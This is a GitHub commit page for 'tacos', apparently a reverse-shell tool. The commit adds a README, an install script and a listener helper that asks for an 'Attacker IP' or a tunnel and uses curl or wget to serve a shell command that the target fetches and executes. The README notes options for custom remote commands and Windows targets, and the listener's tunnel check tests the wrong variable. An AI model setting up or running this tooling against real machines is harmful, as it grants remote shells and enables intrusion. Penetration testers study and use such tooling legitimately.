-
Notifications
You must be signed in to change notification settings - Fork 4
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add wget support by wrapper + wrap docs
- Loading branch information
Showing
5 changed files
with
164 additions
and
30 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
## Set up... | ||
|
||
* Requirements: [`gum`](https://github.com/charmbracelet/gum#installation), `nim`, `go`, `git`, 猫tmux` | ||
* Install all the stuff: `./install-wrap.sh` | ||
|
||
## ... Have fun! | ||
|
||
Just launch listener and take a seat 馃捄 | ||
|
||
```shell | ||
tacos.lister | ||
``` | ||
|
||
## Additional notes | ||
|
||
Some `wrap` flags are not used by the helper script (`tacos.listener`): | ||
* `--no-shortcut`: disable /sh endpoint of gitar (use longer command) | ||
* `--custom-sh-command`: provide custom command to be returned by /sh endpoint (executed by target) | ||
* `--custom-remote-command`: provide custom command to be executed on target | ||
* `--window`: target windows machine | ||
|
||
Also `tacos` binary must fit with the target architecture. By default, the `wrap` takes the one within `$HOME/.local/bin` which is surely a linux one. For other architecture build another tacos binary and put it in the current directory. |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
#!/usr/bin/env bash | ||
|
||
# build tacos statically-linked binary | ||
mkdir -p $HOME/.local/bin | ||
git clone https://github.com/ariary/tacos.git && cd tacos | ||
go mod tidy | ||
make before.build | ||
make build.tacos.static && mv tacos $HOME/.local/bin/ | ||
mkdir -p $HOME/.tacos | ||
|
||
# copy tacos forker templates | ||
mv light-pty4all/socat-forker-windows.sh.tpl $HOME/.tacos/ | ||
mv light-pty4all/socat-forker.sh.tpl $HOME/.tacos/ | ||
|
||
# install wrapper | ||
nimble install cligen && make build.wrap && mv wrap/bin/wrap $HOME/.local/bin/ | ||
|
||
# "Wrap the wrap" ~ install helper script to ease wrapper call | ||
cp ./tacos.listener $HOME/.local/bin | ||
echo "Ensure ${HOME}/.local/bin is in your \$PATH" | ||
|
||
# clean | ||
cd .. && rm -rf tacos |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
#!/usr/bin/env bash | ||
|
||
FLAGS="" | ||
|
||
EXPOSITION=$(gum choose "use IP" "tunnel: ngrok" "tunnel: bore") | ||
if [ "$EXPOSITION" = "use IP" ]; then | ||
IP=$(gum input --placeholder "Enter Attacker IP") | ||
FLAGS="${FLAGS} --lhost ${IP}" | ||
elif [ "$IP_CHOICE" = "tunnel: bore" ]; then | ||
FLAGS="${FLAGS} -b" | ||
else | ||
FLAGS="${FLAGS} -n" | ||
fi | ||
|
||
TMP="" | ||
gum confirm "Shell from /tmp directory ?" && FLAGS="${FLAGS} --tmp" | ||
|
||
if [ ! -f "tacos" ]; then | ||
cp $HOME/.local/bin/tacos . | ||
fi | ||
|
||
CURL_OR_WGET=$(gum choose "use curl" "use wget") | ||
if [ "$CURL_OR_WGET" = "use curl" ]; then | ||
FLAGS="${FLAGS}" #nothing | ||
elif [ "$CURL_OR_WGET" = "use wget" ]; then | ||
FLAGS="${FLAGS} --wget" | ||
fi | ||
|
||
tmux new-session -s tacos "wrap ${FLAGS}" |